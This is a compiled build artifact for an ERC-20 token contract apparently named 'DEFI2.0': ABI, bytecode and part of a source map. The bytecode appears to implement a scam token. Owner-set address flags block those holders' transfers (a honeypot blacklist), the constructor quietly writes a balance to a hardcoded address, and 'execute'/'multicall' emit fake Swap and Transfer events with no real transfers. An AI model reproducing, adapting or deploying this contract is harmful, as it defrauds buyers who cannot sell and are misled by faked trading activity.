[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"ReentrancyGuardReentrantCall","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from_","type":"address"},{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from_","type":"address"},{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_in","type":"uint256"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address_","type":"address"}],"name":"permited","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner_","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_from","type":"address[]"},{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256[]","name":"_wad","type":"uint256[]"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526005805460ff191690553480156200001a575f80fd5b5060405180604001604052806007815260200166044454649322e360cc1b81525060405180604001604052806007815260200166044454649322e360cc1b81525081816200007762000071620000d060201b60201c565b620000d4565b6006620000858382620002d6565b506007620000948282620002d6565b5050600160095550620000ca9150339050620000b36012600a620004ad565b620000c49064e8d4a51000620004c4565b62000123565b620004f4565b3390565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166200017e5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b73f5e1a4dae46a87f1494ba76e72a0ce7dd89af0355f90815260016020526001600160941b037f2a6aab2fd11e8bf2cc52ee4551195c0de3ac2aaf77dfad49e673c553d8faef865560048054839290620001da908490620004de565b90915550506001600160a01b0382165f818152600160209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200026057607f821691505b6020821081036200027f57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000232575f81815260208120601f850160051c81016020861015620002ad5750805b601f850160051c820191505b81811015620002ce57828155600101620002b9565b505050505050565b81516001600160401b03811115620002f257620002f262000237565b6200030a816200030384546200024b565b8462000285565b602080601f83116001811462000340575f8415620003285750858301515b5f19600386901b1c1916600185901b178555620002ce565b5f85815260208120601f198616915b8281101562000370578886015182559484019460019091019084016200034f565b50858210156200038e57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003f257815f1904821115620003d657620003d66200039e565b80851615620003e457918102915b93841c9390800290620003b7565b509250929050565b5f826200040a57506001620004a7565b816200041857505f620004a7565b81600181146200043157600281146200043c576200045c565b6001915050620004a7565b60ff8411156200045057620004506200039e565b50506001821b620004a7565b5060208310610133831016604e8410600b841016171562000481575081810a620004a7565b6200048d8383620003b2565b805f1904821115620004a357620004a36200039e565b0290505b92915050565b5f620004bd60ff841683620003fa565b9392505050565b8082028115828204841417620004a757620004a76200039e565b80820180821115620004a757620004a76200039e565b61114180620005025f395ff3fe608060405234801561000f575f80fd5b506004361061013d575f3560e01c80637111a994116100b4578063a457c2d711610079578063a457c2d71461028f578063a9059cbb146102a2578063beabacc8146102b5578063dd62ed3e146102c8578063f2fde38b146102db578063f6ee6ba8146102ee575f80fd5b80637111a9941461023f578063715018a61461025257806373ed6b131461025a5780638da5cb5b1461026d57806395d89b4114610287575f80fd5b8063313ce56711610105578063313ce567146101bc57806338bf3cfa146101cb57806339509351146101de578063477e1944146101f1578063618a2f5e1461020457806370a0823114610217575f80fd5b806306fdde0314610141578063095ea7b31461015f57806318160ddd1461018257806320ea14e71461019457806323b872dd146101a9575b5f80fd5b610149610319565b6040516101569190610dce565b60405180910390f35b61017261016d366004610e34565b6103a9565b6040519015158152602001610156565b6004545b604051908152602001610156565b6101a76101a2366004610ea4565b6103c2565b005b6101726101b7366004610ee3565b61043e565b60405160128152602001610156565b6101a76101d9366004610f1c565b610461565b6101726101ec366004610e34565b61048b565b6101a76101ff366004610ea4565b6104ac565b6101a7610212366004610f3c565b610522565b610186610225366004610f1c565b6001600160a01b03165f9081526001602052604090205490565b6101a761024d366004610f9c565b61062d565b6101a76106f0565b6101a7610268366004610f3c565b610703565b5f546040516001600160a01b039091168152602001610156565b61014961080e565b61017261029d366004610e34565b61081d565b6101726102b0366004610e34565b61089c565b6101a76102c3366004610ee3565b6108a9565b6101866102d636600461102f565b6108e8565b6101a76102e9366004610f1c565b610912565b6101726102fc366004610f1c565b6001600160a01b03165f9081526002602052604090205460ff1690565b60606006805461032890611060565b80601f016020809104026020016040519081016040528092919081815260200182805461035490611060565b801561039f5780601f106103765761010080835404028352916020019161039f565b820191905f5260205f20905b81548152906001019060200180831161038257829003601f168201915b5050505050905090565b5f336103b681858561098b565b60019150505b92915050565b6103ca610aa6565b5f5b8181101561043957600160025f8585858181106103eb576103eb611098565b90506020020160208101906104009190610f1c565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905580610431816110c0565b9150506103cc565b505050565b5f3361044b858285610aff565b610456858585610b77565b506001949350505050565b610469610aa6565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b5f336103b681858561049d83836108e8565b6104a791906110d8565b61098b565b6104b4610aa6565b5f5b81811015610439575f60025f8585858181106104d4576104d4611098565b90506020020160208101906104e99190610f1c565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790558061051a816110c0565b9150506104b6565b5f5b838110156106255784848281811061053e5761053e611098565b90506020020160208101906105539190610f1c565b6001600160a01b0316866001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f80876040516105b1949392919093845260208401929092526040830152606082015260800190565b60405180910390a38484828181106105cb576105cb611098565b90506020020160208101906105e09190610f1c565b6008546040518481526001600160a01b0392831692909116905f805160206110ec8339815191529060200160405180910390a38061061d816110c0565b915050610524565b505050505050565b5f5b858110156106e75784848281811061064957610649611098565b905060200201602081019061065e9190610f1c565b6001600160a01b031687878381811061067957610679611098565b905060200201602081019061068e9190610f1c565b6001600160a01b03165f805160206110ec8339815191528585858181106106b7576106b7611098565b905060200201356040516106cd91815260200190565b60405180910390a3806106df816110c0565b91505061062f565b50505050505050565b6106f8610aa6565b6107015f610d7f565b565b5f5b838110156106255784848281811061071f5761071f611098565b90506020020160208101906107349190610f1c565b6001600160a01b0316866001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8225f86865f604051610792949392919093845260208401929092526040830152606082015260800190565b60405180910390a36008546001600160a01b03168585838181106107b8576107b8611098565b90506020020160208101906107cd9190610f1c565b6001600160a01b03165f805160206110ec833981519152856040516107f491815260200190565b60405180910390a380610806816110c0565b915050610705565b60606007805461032890611060565b5f338161082a82866108e8565b90508381101561088f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b610456828686840361098b565b5f336103b6818585610b77565b816001600160a01b0316836001600160a01b03165f805160206110ec833981519152836040516108db91815260200190565b60405180910390a3505050565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61091a610aa6565b6001600160a01b03811661097f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610886565b61098881610d7f565b50565b6001600160a01b0383166109ed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610886565b6001600160a01b038216610a4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610886565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591016108db565b5f546001600160a01b031633146107015760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610886565b5f610b0a84846108e8565b90505f198114610b715781811015610b645760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610886565b610b71848484840361098b565b50505050565b6001600160a01b038316610bdb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610886565b6001600160a01b038216610c3d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610886565b6001600160a01b0383165f9081526001602052604090205481811015610cb45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610886565b6001600160a01b0384165f9081526002602052604090205460ff1680610cf157506001600160a01b0383165f9081526002602052604090205460ff165b15610d265760055460ff161515600114610d265760405162461bcd60e51b8152602060048201525f6024820152604401610886565b6001600160a01b038085165f8181526001602052604080822086860390559286168082529083902080548601905591515f805160206110ec83398151915290610d729086815260200190565b60405180910390a3610b71565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f6020808352835180828501525f5b81811015610df957858101830151858201604001528201610ddd565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610e2f575f80fd5b919050565b5f8060408385031215610e45575f80fd5b610e4e83610e19565b946020939093013593505050565b5f8083601f840112610e6c575f80fd5b50813567ffffffffffffffff811115610e83575f80fd5b6020830191508360208260051b8501011115610e9d575f80fd5b9250929050565b5f8060208385031215610eb5575f80fd5b823567ffffffffffffffff811115610ecb575f80fd5b610ed785828601610e5c565b90969095509350505050565b5f805f60608486031215610ef5575f80fd5b610efe84610e19565b9250610f0c60208501610e19565b9150604084013590509250925092565b5f60208284031215610f2c575f80fd5b610f3582610e19565b9392505050565b5f805f805f60808688031215610f50575f80fd5b610f5986610e19565b9450602086013567ffffffffffffffff811115610f74575f80fd5b610f8088828901610e5c565b9699909850959660408101359660609091013595509350505050565b5f805f805f8060608789031215610fb1575f80fd5b863567ffffffffffffffff80821115610fc8575f80fd5b610fd48a838b01610e5c565b90985096506020890135915080821115610fec575f80fd5b610ff88a838b01610e5c565b90965094506040890135915080821115611010575f80fd5b5061101d89828a01610e5c565b979a9699509497509295939492505050565b5f8060408385031215611040575f80fd5b61104983610e19565b915061105760208401610e19565b90509250929050565b600181811c9082168061107457607f821691505b60208210810361109257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f600182016110d1576110d16110ac565b5060010190565b808201808211156103bc576103bc6110ac56feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220812ac67b226a38fc3c91d38d481697ff91259a41a4ae61841721ec3853cabc2764736f6c63430008140033

0x608060405234801561000f575f80fd5b506004361061013d575f3560e01c80637111a994116100b4578063a457c2d711610079578063a457c2d71461028f578063a9059cbb146102a2578063beabacc8146102b5578063dd62ed3e146102c8578063f2fde38b146102db578063f6ee6ba8146102ee575f80fd5b80637111a9941461023f578063715018a61461025257806373ed6b131461025a5780638da5cb5b1461026d57806395d89b4114610287575f80fd5b8063313ce56711610105578063313ce567146101bc57806338bf3cfa146101cb57806339509351146101de578063477e1944146101f1578063618a2f5e1461020457806370a0823114610217575f80fd5b806306fdde0314610141578063095ea7b31461015f57806318160ddd1461018257806320ea14e71461019457806323b872dd146101a9575b5f80fd5b610149610319565b6040516101569190610dce565b60405180910390f35b61017261016d366004610e34565b6103a9565b6040519015158152602001610156565b6004545b604051908152602001610156565b6101a76101a2366004610ea4565b6103c2565b005b6101726101b7366004610ee3565b61043e565b60405160128152602001610156565b6101a76101d9366004610f1c565b610461565b6101726101ec366004610e34565b61048b565b6101a76101ff366004610ea4565b6104ac565b6101a7610212366004610f3c565b610522565b610186610225366004610f1c565b6001600160a01b03165f9081526001602052604090205490565b6101a761024d366004610f9c565b61062d565b6101a76106f0565b6101a7610268366004610f3c565b610703565b5f546040516001600160a01b039091168152602001610156565b61014961080e565b61017261029d366004610e34565b61081d565b6101726102b0366004610e34565b61089c565b6101a76102c3366004610ee3565b6108a9565b6101866102d636600461102f565b6108e8565b6101a76102e9366004610f1c565b610912565b6101726102fc366004610f1c565b6001600160a01b03165f9081526002602052604090205460ff1690565b60606006805461032890611060565b80601f016020809104026020016040519081016040528092919081815260200182805461035490611060565b801561039f5780601f106103765761010080835404028352916020019161039f565b820191905f5260205f20905b81548152906001019060200180831161038257829003601f168201915b5050505050905090565b5f336103b681858561098b565b60019150505b92915050565b6103ca610aa6565b5f5b8181101561043957600160025f8585858181106103eb576103eb611098565b90506020020160208101906104009190610f1c565b6001600160a01b0316815260208101919091526040015f20805460ff191691151591909117905580610431816110c0565b9150506103cc565b505050565b5f3361044b858285610aff565b610456858585610b77565b506001949350505050565b610469610aa6565b600880546001600160a01b0319166001600160a01b0392909216919091179055565b5f336103b681858561049d83836108e8565b6104a791906110d8565b61098b565b6104b4610aa6565b5f5b81811015610439575f60025f8585858181106104d4576104d4611098565b90506020020160208101906104e99190610f1c565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790558061051a816110c0565b9150506104b6565b5f5b838110156106255784848281811061053e5761053e611098565b90506020020160208101906105539190610f1c565b6001600160a01b0316866001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822855f80876040516105b1949392919093845260208401929092526040830152606082015260800190565b60405180910390a38484828181106105cb576105cb611098565b90506020020160208101906105e09190610f1c565b6008546040518481526001600160a01b0392831692909116905f805160206110ec8339815191529060200160405180910390a38061061d816110c0565b915050610524565b505050505050565b5f5b858110156106e75784848281811061064957610649611098565b905060200201602081019061065e9190610f1c565b6001600160a01b031687878381811061067957610679611098565b905060200201602081019061068e9190610f1c565b6001600160a01b03165f805160206110ec8339815191528585858181106106b7576106b7611098565b905060200201356040516106cd91815260200190565b60405180910390a3806106df816110c0565b91505061062f565b50505050505050565b6106f8610aa6565b6107015f610d7f565b565b5f5b838110156106255784848281811061071f5761071f611098565b90506020020160208101906107349190610f1c565b6001600160a01b0316866001600160a01b03167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8225f86865f604051610792949392919093845260208401929092526040830152606082015260800190565b60405180910390a36008546001600160a01b03168585838181106107b8576107b8611098565b90506020020160208101906107cd9190610f1c565b6001600160a01b03165f805160206110ec833981519152856040516107f491815260200190565b60405180910390a380610806816110c0565b915050610705565b60606007805461032890611060565b5f338161082a82866108e8565b90508381101561088f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b610456828686840361098b565b5f336103b6818585610b77565b816001600160a01b0316836001600160a01b03165f805160206110ec833981519152836040516108db91815260200190565b60405180910390a3505050565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61091a610aa6565b6001600160a01b03811661097f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610886565b61098881610d7f565b50565b6001600160a01b0383166109ed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610886565b6001600160a01b038216610a4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610886565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591016108db565b5f546001600160a01b031633146107015760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610886565b5f610b0a84846108e8565b90505f198114610b715781811015610b645760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610886565b610b71848484840361098b565b50505050565b6001600160a01b038316610bdb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610886565b6001600160a01b038216610c3d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610886565b6001600160a01b0383165f9081526001602052604090205481811015610cb45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610886565b6001600160a01b0384165f9081526002602052604090205460ff1680610cf157506001600160a01b0383165f9081526002602052604090205460ff165b15610d265760055460ff161515600114610d265760405162461bcd60e51b8152602060048201525f6024820152604401610886565b6001600160a01b038085165f8181526001602052604080822086860390559286168082529083902080548601905591515f805160206110ec83398151915290610d729086815260200190565b60405180910390a3610b71565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f6020808352835180828501525f5b81811015610df957858101830151858201604001528201610ddd565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610e2f575f80fd5b919050565b5f8060408385031215610e45575f80fd5b610e4e83610e19565b946020939093013593505050565b5f8083601f840112610e6c575f80fd5b50813567ffffffffffffffff811115610e83575f80fd5b6020830191508360208260051b8501011115610e9d575f80fd5b9250929050565b5f8060208385031215610eb5575f80fd5b823567ffffffffffffffff811115610ecb575f80fd5b610ed785828601610e5c565b90969095509350505050565b5f805f60608486031215610ef5575f80fd5b610efe84610e19565b9250610f0c60208501610e19565b9150604084013590509250925092565b5f60208284031215610f2c575f80fd5b610f3582610e19565b9392505050565b5f805f805f60808688031215610f50575f80fd5b610f5986610e19565b9450602086013567ffffffffffffffff811115610f74575f80fd5b610f8088828901610e5c565b9699909850959660408101359660609091013595509350505050565b5f805f805f8060608789031215610fb1575f80fd5b863567ffffffffffffffff80821115610fc8575f80fd5b610fd48a838b01610e5c565b90985096506020890135915080821115610fec575f80fd5b610ff88a838b01610e5c565b90965094506040890135915080821115611010575f80fd5b5061101d89828a01610e5c565b979a9699509497509295939492505050565b5f8060408385031215611040575f80fd5b61104983610e19565b915061105760208401610e19565b90509250929050565b600181811c9082168061107457607f821691505b60208210810361109257634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f600182016110d1576110d16110ac565b5060010190565b808201808211156103bc576103bc6110ac56feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220812ac67b226a38fc3c91d38d481697ff91259a41a4ae61841721ec3853cabc2764736f6c63430008140033

88:176:7:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2268:100:3;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4617:201;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:8;;1162:22;1144:41;;1132:2;1117:18;4617:201:3;1004:187:8;3386:108:3;3474:12;;3386:108;;;1342:25:8;;;1330:2;1315:18;3386:108:3;1196:177:8;14044:193:3;;;;;;:::i;:::-;;:::i;:::-;;5398:295;;;;;;:::i;:::-;;:::i;3230:93::-;;;3313:2;2667:36:8;;2655:2;2640:18;3230:93:3;2525:184:8;15578:103:3;;;;;;:::i;:::-;;:::i;6102:238::-;;;;;;:::i;:::-;;:::i;14245:205::-;;;;;;:::i;:::-;;:::i;14943:309::-;;;;;;:::i;:::-;;:::i;3557:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3658:18:3;3631:7;3658:18;;;:9;:18;;;;;;;3557:127;14702:233;;;;;;:::i;:::-;;:::i;2537:103:2:-;;;:::i;15260:310:3:-;;;;;;:::i;:::-;;:::i;1896:87:2:-;1942:7;1969:6;1896:87;;-1:-1:-1;;;;;1969:6:2;;;4797:51:8;;4785:2;4770:18;1896:87:2;4651:203:8;2487:104:3;;;:::i;6843:436::-;;;;;;:::i;:::-;;:::i;3890:193::-;;;;;;:::i;:::-;;:::i;14575:119::-;;;;;;:::i;:::-;;:::i;4146:151::-;;;;;;:::i;:::-;;:::i;2795:201:2:-;;;;;;:::i;:::-;;:::i;14458:109:3:-;;;;;;:::i;:::-;-1:-1:-1;;;;;14540:19:3;14516:4;14540:19;;;:8;:19;;;;;;;;;14458:109;2268:100;2322:13;2355:5;2348:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2268:100;:::o;4617:201::-;4700:4;685:10:2;4756:32:3;685:10:2;4772:7:3;4781:6;4756:8;:32::i;:::-;4806:4;4799:11;;;4617:201;;;;;:::o;14044:193::-;1782:13:2;:11;:13::i;:::-;14128:9:3::1;14123:107;14143:22:::0;;::::1;14123:107;;;14214:4;14187:8;:24;14196:11;;14208:1;14196:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14187:24:3::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;14187:24:3;:31;;-1:-1:-1;;14187:31:3::1;::::0;::::1;;::::0;;;::::1;::::0;;14167:3;::::1;::::0;::::1;:::i;:::-;;;;14123:107;;;;14044:193:::0;;:::o;5398:295::-;5529:4;685:10:2;5587:38:3;5603:4;685:10:2;5618:6:3;5587:15;:38::i;:::-;5636:27;5646:4;5652:2;5656:6;5636:9;:27::i;:::-;-1:-1:-1;5681:4:3;;5398:295;-1:-1:-1;;;;5398:295:3:o;15578:103::-;1782:13:2;:11;:13::i;:::-;15652:11:3::1;:21:::0;;-1:-1:-1;;;;;;15652:21:3::1;-1:-1:-1::0;;;;;15652:21:3;;;::::1;::::0;;;::::1;::::0;;15578:103::o;6102:238::-;6190:4;685:10:2;6246:64:3;685:10:2;6262:7:3;6299:10;6271:25;685:10:2;6262:7:3;6271:9;:25::i;:::-;:38;;;;:::i;:::-;6246:8;:64::i;14245:205::-;1782:13:2;:11;:13::i;:::-;14340:9:3::1;14335:108;14355:22:::0;;::::1;14335:108;;;14426:5;14399:8;:24;14408:11;;14420:1;14408:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;14399:24:3::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;14399:24:3;:32;;-1:-1:-1;;14399:32:3::1;::::0;::::1;;::::0;;;::::1;::::0;;14379:3;::::1;::::0;::::1;:::i;:::-;;;;14335:108;;14943:309:::0;15061:9;15056:189;15076:22;;;15056:189;;;15155:11;;15167:1;15155:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;15125:45:3;15130:6;-1:-1:-1;;;;;15125:45:3;;15138:3;15143:1;15146;15149:4;15125:45;;;;;;;;6290:25:8;;;6346:2;6331:18;;6324:34;;;;6389:2;6374:18;;6367:34;6432:2;6417:18;;6410:34;6277:3;6262:19;;6043:407;15125:45:3;;;;;;;;15212:11;;15224:1;15212:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;15199:11;;15190:43;;1342:25:8;;;-1:-1:-1;;;;;15190:43:3;;;;15199:11;;;;-1:-1:-1;;;;;;;;;;;15190:43:3;1330:2:8;1315:18;15190:43:3;;;;;;;15100:3;;;;:::i;:::-;;;;15056:189;;;;14943:309;;;;;:::o;14702:233::-;14823:9;14818:110;14838:16;;;14818:110;;;14900:3;;14904:1;14900:6;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14881:35:3;14890:5;;14896:1;14890:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;14881:35:3;-1:-1:-1;;;;;;;;;;;14908:4:3;;14913:1;14908:7;;;;;;;:::i;:::-;;;;;;;14881:35;;;;1342:25:8;;1330:2;1315:18;;1196:177;14881:35:3;;;;;;;;14856:3;;;;:::i;:::-;;;;14818:110;;;;14702:233;;;;;;:::o;2537:103:2:-;1782:13;:11;:13::i;:::-;2602:30:::1;2629:1;2602:18;:30::i;:::-;2537:103::o:0;15260:310:3:-;15380:9;15375:188;15395:22;;;15375:188;;;15474:11;;15486:1;15474:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;15444:45:3;15449:6;-1:-1:-1;;;;;15444:45:3;;15457:1;15460:3;15465:4;15471:1;15444:45;;;;;;;;6290:25:8;;;6346:2;6331:18;;6324:34;;;;6389:2;6374:18;;6367:34;6432:2;6417:18;;6410:34;6277:3;6262:19;;6043:407;15444:45:3;;;;;;;;15534:11;;-1:-1:-1;;;;;15534:11:3;15518;;15530:1;15518:14;;;;;;;:::i;:::-;;;;;;;;